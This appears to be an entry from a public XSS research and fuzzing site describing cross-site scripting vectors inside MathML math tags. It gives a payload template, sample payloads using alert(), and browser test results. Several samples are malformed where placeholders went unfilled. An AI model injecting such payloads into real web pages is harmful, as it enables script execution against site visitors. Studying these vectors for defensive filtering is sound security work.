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XSS vectors that execute automatically inside math

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This vector shows which events fire without user interaction inside a math tag

hackvertor
Created byhackvertor
Created Apr 17, 2024
Updated May 25, 2025

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CategoryURL Handling
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
$[data2] placeholderevents
Template used:
<math><$[data1] src=1 srcdoc=1 href=1 href=1 $[data2]="log('$[data1]->$[data2]')"></$[data1]></math>0x0D
<math><$[data1] $[data2]="log('$[data1]->$[data2]')"></$[data1]></math>

Sample payloads

<math><NO_MATCHES src=1 srcdoc=1 href=1 href=1 ="alert('NO_MATCHES->')"></NO_MATCHES></math>0x0D
<math><NO_MATCHES ="alert('NO_MATCHES->')"></NO_MATCHES></math>
<math><img->onerror src=1 srcdoc=1 href=1 href=1 ="alert('img->onerror->')"></img->onerror></math>0x0D
<math><img->onerror ="alert('img->onerror->')"></img->onerror></math>

Fuzz results

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Chrome 144.0.0.0 desktop Windows NT 10.0

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Sat Jan 31 2026
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Chrome 143.0.0.0 desktop macOS 10.15.7older version

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Sat Jan 31 2026
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Chrome 124.0.0.0 Unknown Unknownolder version

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Wed Apr 24 2024
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Firefox 147.0 desktop Linux

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Sun Feb 01 2026
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Microsoft Edge 144.0.0.0 desktop Windows NT 10.0

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Sat Jan 31 2026
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Safari 17.4.1 Unknown Unknown

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Wed Apr 17 2024
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